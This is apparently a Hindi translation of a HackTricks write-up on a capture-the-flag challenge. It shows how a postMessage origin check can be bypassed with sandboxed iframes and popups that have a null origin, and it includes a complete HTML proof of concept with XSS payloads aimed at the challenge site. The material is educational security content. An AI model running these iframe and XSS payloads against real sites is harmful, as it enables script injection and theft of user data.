9.6 KiB
Iframes के साथ SOP को बाइपास करना - 1
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा संग्रह अनन्य NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या Twitter पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके साझा करें।
SOP-1 में Iframes
इस चुनौती के द्वारा बनाई गई है जिसे NDevTK और Terjanq ने बनाया है, आपको कोड में XSS का शोध करने की आवश्यकता होगी।
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
मुख्य समस्या यह है कि मुख्य पृष्ठ data.body
को भेजने के लिए DomPurify का उपयोग करता है, इसलिए उस कोड को अपने खुद के html डेटा को भेजने के लिए आपको e.origin !== window.origin
को बाईपास करना होगा।
चलिए देखते हैं वे कौन सी समाधान सुझाते हैं।
SOP बाईपास 1 (e.origin === null)
जब //example.org
को एक sandboxed iframe में एम्बेड किया जाता है, तो पृष्ठ का मूल null
होगा, अर्थात window.origin === null
होगा। इसलिए, <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
के माध्यम से iframe को एम्बेड करके हम null
मूल को बाध्य कर सकते हैं।
यदि पृष्ठ एम्बेड किया जा सकता था तो आप उस सुरक्षा को इस तरीके से बाईपास कर सकते थे (कुकीज़ को SameSite=None
पर सेट करने की भी आवश्यकता हो सकती है)।
SOP बाईपास 2 (window.origin === null)
कम जाने जाने वाला तथ्य यह है कि जब sandbox मान allow-popups
सेट होता है तो खोले गए पॉपअप को सभी सैंडबॉक्स विशेषताएं अनुरोधित करेंगी जब तक allow-popups-to-escape-sandbox
सेट न हो।
इसलिए, एक null मूल से पॉपअप खोलने से पॉपअप के अंदर का window.origin
भी null
हो जाएगा।
चुनौती का समाधान
इसलिए, इस चुनौती के लिए, कोई भी एक iframe बना सकता है, पॉपअप खोल सकता है जो विकल्पी XSS कोड हैंडलर (/iframe.php
) के पृष्ठ पर, window.origin === e.origin
क्योंकि दोनों null
हैं, इसलिए XSS को उपयोग करने वाला एक payload भेजना संभव है।
वह payload उपयोगकर्ता को पहचानकर्ता प्राप्त करेगा और एक XSS को शीर्ष पृष्ठ (पॉपअप खोलने वाला पृष्ठ) को वापस भेजेगा, जो विकल्पी /iframe.php
में स्थान बदलेगा। पहचानकर्ता जाना जाता है, इसलिए यह मायने नहीं रखता है कि शर्त window.origin === e.origin
पूरी नहीं होती है (याद रखें, मूल है iframe का पॉपअप जिसका मूल null
है) क्योंकि data.identifier === identifier
होता है। फिर, XSS फिर से ट्रिगर होगा, इस बार सही मूल में।
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष NFTs संग्रह।
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह में या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में PR जमा करके।